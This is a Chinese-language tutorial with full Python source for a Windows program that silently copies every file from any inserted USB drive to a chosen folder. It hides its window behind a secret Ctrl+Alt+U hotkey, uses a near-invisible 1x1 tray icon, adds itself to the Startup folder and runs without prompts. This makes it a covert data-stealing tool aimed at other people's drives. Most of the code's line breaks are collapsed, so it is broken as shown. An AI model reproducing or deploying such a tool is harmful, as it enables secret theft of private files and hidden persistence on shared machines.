Python实现U盘数据自动拷贝

功能：当电脑上有U盘插入时，自动复制U盘内的所有内容

主要特点：
1、使用PyQt5创建图形界面，但默认隐藏
2、通过Ctrl+Alt+U组合键可以显示/隐藏界面
3、自动添加到Windows启动项
4、监控USB设备插入
5、按修改时间排序复制文件
6、静默运行，无提示
7、自动跳过无法复制的文件
8、配置文件保存目标路径

使用说明：
1、首次运行时，按Ctrl+Alt+U显示界面
2、点击"选择目标文件夹"按钮设置保存位置
3、设置完成后可以关闭界面，程序会在后台运行
4、插入U盘后会自动复制内容到指定文件夹

 静默界面：

实现代码：

import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmapclass USBCopyTool(QMainWindow):def __init__(self):super().__init__()self.config_file = 'config.json'self.target_path = self.load_config()self.init_ui()self.setup_system_tray()self.setup_hotkey()# 添加窗口事件过滤器self.installEventFilter(self)# 启动USB监控线程self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)self.monitor_thread.start()def init_ui(self):self.setWindowTitle('USB自动复制工具')self.setGeometry(300, 300, 400, 200)central_widget = QWidget()self.setCentralWidget(central_widget)layout = QVBoxLayout()self.path_label = QLabel(f'当前目标路径: {self.target_path}')layout.addWidget(self.path_label)select_btn = QPushButton('选择目标文件夹')select_btn.clicked.connect(self.select_target_path)layout.addWidget(select_btn)central_widget.setLayout(layout)self.hide()def setup_system_tray(self):self.tray_icon = QSystemTrayIcon(self)# 创建一个1x1的空白图标而不是完全没有图标blank_icon = QIcon()blank_icon.addPixmap(QPixmap(1, 1))self.tray_icon.setIcon(blank_icon)self.tray_icon.show()def setup_hotkey(self):# 注册全局热键 (Ctrl+Alt+U)self.hot_key_id = 1try:win32gui.RegisterHotKey(self.winId(), self.hot_key_id, win32con.MOD_CONTROL | win32con.MOD_ALT, ord('U'))except Exception as e:print(f"热键注册失败: {e}")def nativeEvent(self, eventType, message):try:if eventType == "windows_generic_MSG":msg = wintypes.MSG.from_address(message.__int__())if msg.message == win32con.WM_HOTKEY:if self.isVisible():self.hide()else:self.show()return True, 0except Exception as e:print(f"事件处理错误: {e}")return False, 0def load_config(self):try:with open(self.config_file, 'r') as f:config = json.load(f)return config.get('target_path', '')except:return ''def save_config(self):with open(self.config_file, 'w') as f:json.dump({'target_path': self.target_path}, f)def select_target_path(self):path = QFileDialog.getExistingDirectory(self, '选择目标文件夹')if path:self.target_path = pathself.path_label.setText(f'当前目标路径: {self.target_path}')self.save_config()def monitor_usb(self):drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])print(f"初始驱动器: {drives_before}")while True:try:drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])new_drives = drives_now - drives_beforeif new_drives:print(f"检测到新驱动器: {new_drives}")for drive in new_drives:drive_type = win32file.GetDriveType(drive)print(f"驱动器 {drive} 类型: {drive_type}")if drive_type == win32con.DRIVE_REMOVABLE:print(f"开始复制U盘 {drive} 内容")self.copy_usb_contents(drive)drives_before = drives_nowtime.sleep(1)except Exception as e:print(f"监控错误: {e}")time.sleep(1)def copy_usb_contents(self, drive):if not self.target_path:print("未设置目标路径")return# 获取U盘卷标名称try:volume_name = win32api.GetVolumeInformation(drive)[0]# 如果U盘没有卷标名称，则使用盘符if not volume_name:volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')# 替换非法字符volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')except Exception as e:print(f"获取卷标名称失败: {e}")volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')target_folder = os.path.join(self.target_path, volume_name)print(f"复制到目标文件夹: {target_folder}")if not os.path.exists(target_folder):os.makedirs(target_folder)# 获取所有文件并按修改时间排序all_files = []try:for root, dirs, files in os.walk(drive):print(f"扫描目录: {root}")for file in files:file_path = os.path.join(root, file)try:mtime = os.path.getmtime(file_path)all_files.append((file_path, mtime))except Exception as e:print(f"无法获取文件信息: {file_path}, 错误: {e}")continueexcept Exception as e:print(f"扫描目录失败: {e}")all_files.sort(key=lambda x: x[1], reverse=True)print(f"找到 {len(all_files)} 个文件")# 复制文件for file_path, _ in all_files:try:rel_path = os.path.relpath(file_path, drive)target_path = os.path.join(target_folder, rel_path)target_dir = os.path.dirname(target_path)if not os.path.exists(target_dir):os.makedirs(target_dir)print(f"复制文件: {file_path} -> {target_path}")shutil.copy2(file_path, target_path)except Exception as e:print(f"复制失败: {file_path}, 错误: {e}")continuedef eventFilter(self, obj, event):if obj is self and event.type() == QEvent.WindowStateChange:if self.windowState() & Qt.WindowMinimized:# 延迟执行隐藏操作，避免界面闪烁QTimer.singleShot(0, self.hide)# 恢复窗口状态，这样下次显示时是正常状态self.setWindowState(Qt.WindowNoState)return Truereturn super().eventFilter(obj, event)def add_to_startup():try:startup_path = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup')script_path = os.path.abspath(sys.argv[0])shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')shell = win32com.client.Dispatch("WScript.Shell")shortcut = shell.CreateShortCut(shortcut_path)shortcut.Targetpath = script_pathshortcut.WorkingDirectory = os.path.dirname(script_path)shortcut.save()except Exception as e:print(f"添加到启动项失败: {e}")if __name__ == '__main__':# 确保只运行一个实例mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:mutex = Nonesys.exit(0)add_to_startup()app = QApplication(sys.argv)tool = USBCopyTool()sys.exit(app.exec_())